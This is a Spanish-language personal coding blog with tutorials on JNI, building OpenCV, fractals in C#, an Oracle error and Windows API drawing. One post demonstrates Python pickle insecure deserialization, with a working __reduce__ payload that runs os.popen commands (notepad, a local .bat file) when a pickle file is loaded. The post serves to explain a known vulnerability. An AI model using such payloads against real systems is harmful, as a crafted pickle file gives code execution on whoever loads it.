Acerca de:

Este blog contiene los códigos, ejemplos y bases de datos que he usado cuando aprendía acerca de algún tema específico. En lugar de borrarlos (una vez dominado ya el tema), he decidido publicarlos :)

miércoles, 24 de febrero de 2021

Llamando a una dll en C++ desde Java mediante JNI

Ya había escuchado antes acerca de JNI (Java Native Interface) que permite acceder a código en C o C++ desde java, así que ya era hora de probarlo:

Primero, abro mi Visual Studio 2019, elijo Crear un Proyecto->C++->Biblioteca de Vínculos Dinámicos:

Mi proyecto se llama JNISample y está ubicado en D:. Lo que suelo hacer con mis dlls es crear un nuevo archivo de encabezado, en este caso se llamará jniSample.h:


Luego se hace click derecho al nombre del proyeccto, nos vamos a General->C++->Directorios de Inclusión Adicionales, e incluímos las carpetas Include de nuestra instalación de JDK tal y como indica esta web:


En mi caso las rutas son C:\Program Files\Java\jdk1.8.0_231\include y C:\Program Files\Java\jdk1.8.0_231\include\win32

En el archivo dllmain.cpp añadimos la siguiente función que simplemente toma dos cadenas de caracteres y suma sus longitudes:

La explicación del uso de la variable env está en esta web. En resumen es para indicar que se desea copiar la cadena de caracteres enviada por java a la memoria del código nativo en C++, y al final liberar esta memoria.

En el archivo .h se copia la declaración de la función:

Y se compila. El código dentro de los #ifdef es para que el compilador no decore el nombre de la función.

Ahora hay que crear la aplicación java. Yo estoy usando Netbeans 11.1. La aplicación de ejemplo es de tipo Ant y se llama JNISample1; la voy a ubicar dentro de la carpeta del proyecto de C++, JNISample.

Luego copio la dll compilada a la carpeta donde está el proyecto en Netbeans, en mi caso es D:\JNISample\JNISample1:

 

Siguiendo las instrucciones de esta web y esta otra, se añade el código necesario para cargar la dll y usarla desde java, debe quedar así:

 

Si arroja algún error, puede deberse a que no se ha escrito correctamente el nombre de la librería, éste es el nombre del archivo dll sin la extensión. Más información en este enlace.

Es preferible que la función que llama a la dll sea pública, así podremos usar este jar desde otro. Yo prefiero tener un jar intermedio entre la aplicación principal y la dll debido a los pasos que siguen a continuación:

Para enlazar la dll a la aplicación de java se debe crear el verdadero archivo .h con el que se debe recompilar la dll. Esto se hace invocando al ejecutable javah que existe dentro de la instalación del JDK (no he probado con el JRE). Para este paso hay que seguir las instrucciones de esta web, que se resumen en abrir la consola en la ubicación de la dll e ingresar el siguiente comando:

"C:\Program Files\Java\jdk1.8.0_231\bin\javah" -o jniSample.h -jni -classpath "D:\JNISample\JNISample1\build\classes" "jnisample1.JNISample1"

De forma más genérica tiene la siguiente forma:

"ruta a mi instalacion de java donde está javah" -o nombre_de_la_dll.h -jni -classpath "ruta de mi proyecto\build\classes" "paquete.clase"

Al presionar Enter, y si todo sale bien no debe decirnos nada, sólo debe mostrarnos mensajes en caso de un error.

Y con esto ya tenemos nuestro archivo de cabecera .h el cual se debe reemplazar en el proyecto de Visual Studio. En mi caso javah me generó esto:

 

Simplemente copio todo este contenido y lo reemplazo en mi archivo jniSample.h de mi proyecto de Visual Studio.

A continuación se le cambia el nombre a la función original en dllmain.cpp.

Inicialmente estaba así:

Y ahora debo modificarla cambiándole el nombre que aparece en el archivo .h:

Luego compilo todo y reemplazo la dll resultante por la que está en la carpeta del proyecto de Netbeans.

Y eso es todo:


Los dos proyectos se pueden descargar de este enlace. El proyecto de Visual Studio es para la versión 2019.

lunes, 25 de enero de 2021

Compilando las librerías Opencv 4.2 y Opencv_contrib con CMake y Visual Studio 2019 para Java

Continuando con el tutorial de OpenCV, esta vez toca generar el jar para poder usarlo desde java.

Yo tengo instalado JDK 8. Mi variable de entorno JAVA_HOME está seteada como C:\Program Files\Java\jdk1.8.0_231. Esta variable de entorno es importante para que CMake pueda hallar la ruta de instalación de java.

Al crear el jar para OpenCV, la diferencia está en algunas opciones al compilar con CMake. Lo bueno de Opencv es que se puede recompilar tantas veces como queramos, y tener una compilación distinta en carpetas diferentes. En este ejemplo, estoy enviando mi compilación para Java a la carpeta D:\opencv2.

Primero: descargar y descomprimir Apache Ant. Ant no se instala, sólo se descomprime. OpenCV lo necesita para generar el jar.

Añadir a la variable de entorno Path la ruta a donde hemos descomprimido Ant, en mi caso es C:\apache-ant-1.10.9\bin

 



Reiniciar el sistema. 

Luego de configurar  CMake, debe de poder reconocer las rutas de java y de ant:


 

A continuación, se deben escoger las siguientes opciones en CMake:

Build_Java:


BUILD_FAT_JAVA_LIB:


Si se desea compilar con opencv-contrib se deben elegir estas opciones:

Y se presiona Generate. Esto creará los proyectos de Visual Studio para crear las librerías y el jar. Se debe compilar como Release los proyectos All_Build e Install como explico en el tutorial anterior.

Y me pasó que no me generó el jar.

Debía aparecer en la carpeta D:\opencv2\bin o en D:\opencv2\install\java. En este caso se debe buscar los proyectos gen_opencv_java_source y opencv_java_jar, y compilarlos primero gen_opencv_java_source y luego opencv_java_jar, ambos como release:


 Necesité más de un intento para poder generar mi jar.

El jar y los archivos lib y dll deben estar en la misma carpeta, yo prefiero ponerlos en la carpeta de mi proyecto. Para usar este jar basta añadirlo como librería (yo uso netbeans):


martes, 22 de diciembre de 2020

Compilando las librerías Opencv 4.2 y Opencv_contrib con CMake y Visual Studio 2019

Opencv viene de dos formas: la librería ya compilada que contiene funciones libres y probadas de visión por computadora, y aparte las funciones de opencv_contrib, las cuales no tienen licencias 100% libres o aún son experimentales. Por ello opencv_contrib sólo se distribuye en código fuente que debe compilarse para poder usarlas.

El mejor tutorial que he encontrado para generar los binarios de opencv_contrib es este.

Primero nos vamos a https://opencv.org/releases/ y bajamos las fuentes "sources" de la versión que queremos, yo escogí la 4.2 por ninguna razón en especial.

Luego nos vamos a https://github.com/opencv/opencv_contrib/releases/tag/4.2.0 y descargamos las fuentes de opencv_contrib (las versiones de ambos deben ser las mismas). La lista de versiones de opencv_contrib está aquí.

Luego descomprimimos ambos archivos en la misma carpeta, yo escogí D:

Además hay que crear una carpeta a dónde irán nuestras librerías ya compiladas, yo la llamé opencv.


Luego descargamos e instalamos la última versión de CMake. Yo escogí el instalador msi para Windows.

Ejecutamos CMake, ingresamos la carpeta donde están los códigos fuente opencv (en mi caso es opencv-4.2.0) y la carpeta de destino a donde irán los binarios, luego presionamos el botón Configure:

Aquí podemos escoger si quremos que se genere la solución para Visual Studio. Yo escogí la versión 2019, a continuación se presiona Finish. Yo suelo presionar una vez más Configure después de este paso, pero puede que no sea necesario. Una vez configurado, Cmake nos mostrará las opciones de configuración:


Para compilar con opencv_contrib buscamos las siguientes opciones:

 

OPENCV_ENABLE_NONFREE debe estar seleccionado, y OPENCV_EXTRA_MODULES_PATH debe tener la ruta de la carpeta modules dentro de la carpeta donde hemos descomprimido opencv_contrib.

A continuación presionamos Generate. Este paso puede tomar algunos minutos. En la carpeta definida como el destino de los binarios aparecerá un archivo llamado OpenCV.sln que debemos abrir con la versión de Visual Studio elegida:


En Visual Studio elegimos Release, la plataforma a la que queremos compilar (yo puse x64), y tal y como dice el tutorial, compilar primero el proyecto donde dice BUILD y luego INSTALL:

Esta parte puede demorar un buen rato.

En mi caso los binarios se fueron a las carpetas D:\opencv\install\x64\vc16\bin para las dlls y D:\opencv\install\x64\vc16\lib para las librerías estáticas. Antes de poder usarlas en nuestros proyectos de Visual Studio hay que setearlas en la variable de entorno Path e INCLUDE.

En Path van las ubicaciones de las librerías:


INCLUDE debe crearse en caso de no existir, contiene la ruta a donde están los archivos de cabecera .h y .hpp. En mi caso se fueron a D:\opencv\install\include:


En Windows 10 no estoy segura si es necesario reiniciar el equipo, pero por precaución es mejor reiniciar.

Y ahora a configurar el proyecto de Visual Studio. El mejor tutorial que encontré es éste, pero no incluye las librerías opencv_contrib, pero los pasos son muy parecidos:

Ponemos el proyecto en Release y en la misma plataforma para la que fue compilada opencv (x64 en mi caso).

Configuramos lo siguiente en las propiedades del proyecto (en lugar de elegir Debug o Release, yo escogí Todas las Configuraciones):

General->Versión del SDK de Windows Última instalada (en mi caso, estoy en Windows 10 con Visual Studio 2019, mi versión es la 10.0)

En la opción Directorios de VC++ ponemos las siguientes rutas:

Directorios de archivos de inclusión: Donde se ubican los archivos de cabecera, es la misma ruta que la variable de entorno INCLUDE

Directorios de archivos de bibliotecas: Donde se ubican los archivos de librerías estáticas. Es la misma que la ingresada en la variable de entorno Path. 


Luego en la opción VC++ -> General ingresamos en Directorios de Inclusión Adicionales la ruta de la variable INCLUDE:


En Vinculador -> General ponemos en Directorios de Bibliotecas Adicionales la ruta de la variable Path donde están las librerías estáticas:

 

Y finalmente en la opción Vinculador -> Entrada, en donde dice Dependencias Adicionales, en lugar de la librería opencv_worldxxx.lib, se deben ingresar la lista de TODAS las librerías en la carpeta de la variable Path donde están las librerías estáticas:


Lo bueno, tengo este script, sólo hay que reemplazar la ruta de las librerías y escribirá en un archivo de texto la lista de todos los archivos que se hallan en esa carpeta:

@echo off
REM Next command creates a list of program files
dir "D:\opencv\install\x64\vc16\lib" > D:\list_of_libs.txt

Luego abrimos el archivo creado con notepad++ y con alt+selección se puede seleccionar sólo los nombres de los archivos para luego pegarlos:


Y eso es todo!

Y ahora la pregunta:

¿cómo distribuyo mi aplicación que usa opencv_contrib?

para distribuir esta... cosa se deben copiar los directorios apuntados por las variables INCLUDE y Path, y pegarse en rutas específicas de la pc destino. En esta pc se deben configurar las respectivas variables INCLUDE y Path para que apunten a las respectivas rutas de los archivos de cabecera h, hpp y los archivos de librerías lib y dll. A pesar de que en Visual Studio sólo se referencian los archivos lib también son necesarias las dlls.

Es probable que también sea necesario instalar los redistributables de Visual Studio 2019 para C++, se pueden descargar de aquí de forma directa. Descripción y descarga aquí.


martes, 24 de noviembre de 2020

Ejemplo de la vulnerabilidad de la librería Pickle de Python

 En la documentación de la libreria Pickle aparece esta advertencia:

"El módulo pickle no es seguro". No sólo eso, explotar su vulnerabilidad es tan fácil que se puede codificar en menos de diez minutos.

Un bonito tutorial en español de Pickle está aquí. Pero lo relevante lo dicen en esta web en inglés.

Para explicar de qué va la vulnerabilidad, primero mostraré un ejemplito tonto, le mando a la clase Pickle un código que llama a subprocess.call() y abre el block de notas en windows:

# coding=utf-8
import subprocess
import pickle
import cPickle

# pickle sample https://programacion.net/articulo/los_pickles_de_python_1860
todo = "subprocess.call(\"notepad.exe\", shell=True)"
pickle_file = file('todo.pickle', 'w')
pickle.dump(todo, pickle_file)
pickle_file.close()

# el siguiente código puede ejecutarse en otra máquina
# basta enviarle el archivo todo.pickle

pickle_file = file('todo.pickle')
todo2 = pickle.load(pickle_file)
pickle_file.close()
exec todo2

Es un ejemplo tonto porque depende de la función exec() de Python, la cual ejecuta un código arbitrario. El código para ejecutar código arbitrario directamente con Pickle nos la da la web de root4loot, lo he modificado para que en lugar de una petición a un servidor, se ejecute al abrir un archivo:

# coding=utf-8
import pickle
import cPickle

#https://root4loot.com/post/exploiting_cpickle/
class MMM(object):
    def __reduce__(self):
        import os
        s = "notepad.exe"
        return (os.popen, (s,))

def main():

    payload = cPickle.dumps(MMM())

    pickle_file = file('todo.pickle', 'w')
    pickle.dump(MMM(), pickle_file)
    pickle_file.close()

    # el siguiente código puede ejecutarse en otra máquina
    # basta enviarle el archivo todo.pickle   

    pickle_file = file('todo.pickle')
    pickle.load(pickle_file)
        
    pickle_file.close()

if __name__ == "__main__":
    main()

 

Más allá de la vulnerabilidad, se me vienen a la mente otros usos como compilación automática de código, descarga de paquetes o ejecución de archivos bat o bash. Por ejemplo, tengo el siguiente bat en mi disco D: llamado sample_bat.bat, que copié de algún sitio en internet:

@echo off
REM Next command creates a list of program files
dir "C:\Program Files" > D:\list_of_program_files.txt

En la clase MM en el código de roo4loot hago el siguiente cambio:

#https://root4loot.com/post/exploiting_cpickle/
class MMM(object):
    def __reduce__(self):
        import os
        s = "D:\\sample_bat.bat"
        return (os.popen, (s,))

 

Y al ejecutar el script de python, me creó este archivo en mi disco D: 


El único detalle es que no se imprime nada en la consola donde se ejecuta el script de python.

miércoles, 14 de octubre de 2020

Dibujando la alfombra de Sierpinski en C#

Otra entrada migrada de la vieja web, pero con los enlaces actualizados.

Me topé con esta web https://lodev.org/cgtutor/sierpinski.html que muestra cómo dibujar el fractal de Sierpinski usando C++ y recursividad. El código es bastante simple, así que decidí implementarlo en .Net.

La idea principal para dibujar el triángulo de Sierpinski está en este párrafo:

En realidad el código fuente ya está hecho. La idea era pasarlo a C# y, como valor añadido por pura diversión, meterle punteros.

Primero creé una ventana "Form1" con un PictureBox llamado "PicS":

 

 
Aparte, creé una clase llamada Sierpinski, donde está el código para dibujar el fractal. Form1 sólo posee este código:

  

 
La variable "unaVez" se encarga de que el fractal sólo se dibuje una vez al ejecutar el programa.
El código de la clase Sierpinski es:
 
 
using System;
using System.Drawing;

namespace Sierpinsky
{
    unsafe class Sierpinski
    {
        public Graphics Draw(Graphics g, int ancho, int alto)
        {
            Graphics g0 = g;
            Point* esq = stackalloc Point[3];         
            esq[0].X = 50;
            esq[0].Y = alto - 10;
            esq[1].X = ancho - 10;
            esq[1].Y = alto - 10;
            esq[2].X = ancho/2;
            esq[2].Y = 10;
            Sierp(g0, esq, 0);
            g = g0;                                 
            return g;
        }      

        private void Sierp(Graphics g0, Point* p, int n)
        {
            Pen pen = new Pen(Color.Black, 1);
            g0.DrawLine(pen, p[0], p[1]);
            g0.DrawLine(pen, p[1], p[2]);
            g0.DrawLine(pen, p[2], p[0]);
            Point* p2 = stackalloc Point[3];

            if (n<7)
            {
                p2[0].X = (p[0].X + p[1].X)/2 + (p[1].X - p[2].X)/2;
                p2[0].Y = (p[0].Y + p[1].Y)/2 + (p[1].Y - p[2].Y)/2;
                p2[1].X = (p[0].X + p[1].X)/2 + (p[0].X - p[2].X)/2;
                p2[1].Y = (p[0].Y + p[1].Y)/2 + (p[0].Y - p[2].Y)/2;
                p2[2].X = (p[0].X + p[1].X)/2;

                p2[2].Y = (p[0].Y + p[1].Y)/2;

                Sierp(g0, p2, n+1);

                p2[0].X = (p[1].X + p[2].X)/2 + (p[1].X - p[0].X)/2;
                p2[0].Y = (p[1].Y + p[2].Y)/2 + (p[1].Y - p[0].Y)/2;
                p2[1].X = (p[1].X + p[2].X)/2 + (p[2].X - p[0].X)/2;
                p2[1].Y = (p[1].Y + p[2].Y)/2 + (p[2].Y - p[0].Y)/2;
                p2[2].X = (p[1].X + p[2].X)/2;
                p2[2].Y = (p[1].Y + p[2].Y)/2;

                Sierp(g0, p2, n+1);

                p2[0].X = (p[0].X + p[2].X)/2 + (p[2].X - p[1].X)/2;
                p2[0].Y = (p[0].Y + p[2].Y)/2 + (p[2].Y - p[1].Y)/2;
                p2[1].X = (p[0].X + p[2].X)/2 + (p[0].X - p[1].X)/2;
                p2[1].Y = (p[0].Y + p[2].Y)/2 + (p[0].Y - p[1].Y)/2;
                p2[2].X = (p[0].X + p[2].X)/2;
                p2[2].Y = (p[0].Y + p[2].Y)/2;
                Sierp(g0, p2, n + 1);     
            }
        }
    }
}

 
 
Y el resultado es éste: 

 
 Por ahí debo haber puesto al revés una suma, pero de salir, salió.

 
Si a la función "Sierp" le hago la siguiente modificación:
 
private void Sierp(Graphics g0, Point* p, int n)
{
    Pen pen = new Pen(Color.Black, 1);
    g0.DrawLine(pen, p[0], p[1]);
    g0.DrawLine(pen, p[1], p[2]);
    g0.DrawLine(pen, p[2], p[0]);
    Point* p2 = stackalloc Point[3];

    if (n<7)
    {
        p2[0].X = (p[0].X + p[1].X) / 2 + (p[1].X - p[2].X) / 2;
        p2[0].Y = (p[0].Y + p[1].Y) / 2 + (p[1].Y - p[2].Y) / 2;
        p2[1].X = (p[0].X + p[1].X) / 2 + (p[0].X - p[2].X) / 2;
        p2[1].Y = (p[0].Y + p[1].Y) / 2 + (p[0].Y - p[2].Y) / 2;
        p2[2].X = (p[0].X + p[1].X) / 2;
        p2[2].Y = (p[0].Y + p[1].Y) / 2;

        Sierp(g0, p2, n+1);

        p2[0].X = (p[0].X + p[2].X) / 2 + (p[1].X - p[0].X) / 2;
        p2[0].Y = (p[0].Y + p[2].Y) / 2 + (p[1].Y - p[0].Y) / 2;
        p2[1].X = (p[0].X + p[2].X) / 2 + (p[2].X - p[0].X) / 2;
        p2[1].Y = (p[0].Y + p[2].Y) / 2 + (p[2].Y - p[0].Y) / 2;
        p2[2].X = (p[0].X + p[2].X) / 2;
        p2[2].Y = (p[0].Y + p[2].Y) / 2;

        Sierp(g0, p2, n+1);

        p2[0].X = (p[1].X + p[2].X) / 2 + (p[2].X - p[1].X) / 2;
        p2[0].Y = (p[1].Y + p[2].Y) / 2 + (p[2].Y - p[1].Y) / 2;
        p2[1].X = (p[1].X + p[2].X) / 2 + (p[0].X - p[1].X) / 2;
        p2[1].Y = (p[1].Y + p[2].Y) / 2 + (p[0].Y - p[1].Y) / 2;
        p2[2].X = (p[1].X + p[2].X) / 2;
        p2[2].Y = (p[1].Y + p[2].Y) / 2;

        Sierp(g0, p2, n + 1);              
    }
}

 
El resultado será:
 
 No está mal :)


Lo mismo se puede conseguir modificando un poquito la función Sierp, simplemente añadiendo un puntero:
 



El proyecto completo hecho en Visual Studio Express 2008 se puede descargar de aquí. A diferencia del código en C++, mi código usa una sola función (la función recursiva) para dibujar el fractal.

miércoles, 7 de octubre de 2020

Error ORA-02185: a token other than WORK follows COMMIT

Es un mensaje muy feo para un error tan tonto: Una de las razones para que se genere este error en PL/SQL de Oracle es poner commit en lugar de commit; (con el punto y coma al final).

La versión que uso es Oracle 11g.

Más info aquí.

lunes, 17 de agosto de 2020

Dibujando la espiral de Fermat en Visual C++ 2017

Tomando como base esta aplicación https://programacionamartillazos.blogspot.com/2020/07/ejemplo-del-uso-de-la-api-de-windows.html quise crear la espiral de Fermat en Visual C++.

Primero se debe crear un nuevo proyecto de C++ para Escritorio de Windows:

 

En la función WndProc se deben declarar las siguientes variables:

 

Intenté que la espiral se dibujara al crear la ventana o activarla, pero sólo obtenía una ventana toda negra, éste es un detalle que no he podido resolver, así que decidí dibujar la espiral al hacer clic. Para esto se debe poner el siguente código dentro de la sentencia switch, de modo que la ventana también recibirá los eventos (mensajes) que se disparan al hacer clic con el botón izquierdo del ratón:


Lo que hace el código es obtener las coordenadas (x.y) a partir de la fórmula de la espiral de Fermat y dibujar en ellas un pequeño recuadro. En windows no hay una función para dibujar puntos, pero éstos se pueden emular dibujando rectángulos o círculos muy pequeños. El código después del bucle es para copiar el dibujo a un mapa de bits en memoria. Después de algunas pruebas, hallé un incremento y una cantidad de puntos tales que permiten ver cómo se dibuja la espiral en tiempo real:

El resto del código es para que tremenda espiral no se borre al minimizar y maximizar la ventana, el mapa de bits con la espiral se copia a la ventana en el evento repaint (mensaje WM_PAINT):


Ya con este código, y cambiando las fórmulas, se pueden dibujar otras espirales, como la de Doppler:

 

Y ya poniendo otras funciones (simplemente mezclando senos, cosenos y tangentes), conseguí dibujar cosas más interesantes:


El proyecto completo puede descargarse de aquí. Incluye más dibujos :)

martes, 21 de julio de 2020

Ejemplo del uso de la Api de Windows para dibujar rectángulos: api Rectangle()

El código que voy a mostrar a continuación está basado en este tutorial:
http://msdn.microsoft.com/en-us/library/windows/desktop/dd145184%28v=vs.85%29.aspx
pero hace algo mucho más simple: dibuja cuadraditos en donde se hace click con el cursor:



Como estoy usando la api de Windows, recomiendo leer este otro tutorial para entender el bucle de mensajes y qué significa cada pedazo de código que voy a presentar.

Windows tiene varias funciones para dibujar figuras gemétricas y texto, en este caso voy a usar la api Rectangle(), la cual recibe como parámetros el identificador o "handle" de dónde se va a dibujar y las coordenadas de las cuatro esquinas del rectángulo.
El handle es un número que identifica la "superficie de dibujo", en este caso es nuestra ventana, para obtenerlo tenemos otra api: GetDC().
El evento que nos interesa es cuando se hace clic con el botón izquierdo, en el bucle de mensajes de la ventana es el mensaje WM_LBUTTONDOWN:



La variables necesarias son:


Se declaran estáticas para que sus valores sean persistentes y no sea necesario inicializarlas.

Las coordenadas del cursor se obtienen con la api GetCursorPos() que obtiene las coordenadas con respecto a la esquina superior de la pantalla. Para convertirlas a corrdenadas sobre la ventana se obtiene la ubicación de ésta con si sin la barra de título. para esto se usan las apis GetWindowRect() y GetClientRect(). El objeto HPEN sirve para indicar de qué color y con qué relleno queremos los rectángulos. Éstos se dibujan con la api Rectangle(). la Api ReleaseDC() es para liberar la memoria usada.

La vatiable hscreen es del tipo HDC y se coló en el código pues no se usa. Está obteniendo el handle del escritorio de Windows, el cual Windows devuelve al pasarle cero a la api GetDC().

Lo malo es que al minimizar la ventana, o taparla por otra, y volverla a mostrar, se borra lo que hemos dibujado. Para evitarlo se debe copiar la imagen de la ventana y pegarla en el evento repaint que para la api de Windows es el mensaje WM_PAINT.


Primero declaro otras dos variables:

 
Y en los mensajes WM_LBUTTONDOWN y WM_PAINT añado el siguiente código (en el mensaje WM_LBUTTONDOWN va después de llamar a la api Rectangle()):


Lo que hace el código añadido es, cuando se hace clic, crear un mapa de bits en memoria y copiar en él la imagen que se muestra en la ventana. Al repintarse la ventana se copia el mapa de bits en memoria de vuelta a la ventana, haciendo que parezca que no se ha borrado. Para copiar mapas de bits en ventanas, memoria o viceversa, uso la api BitBlt().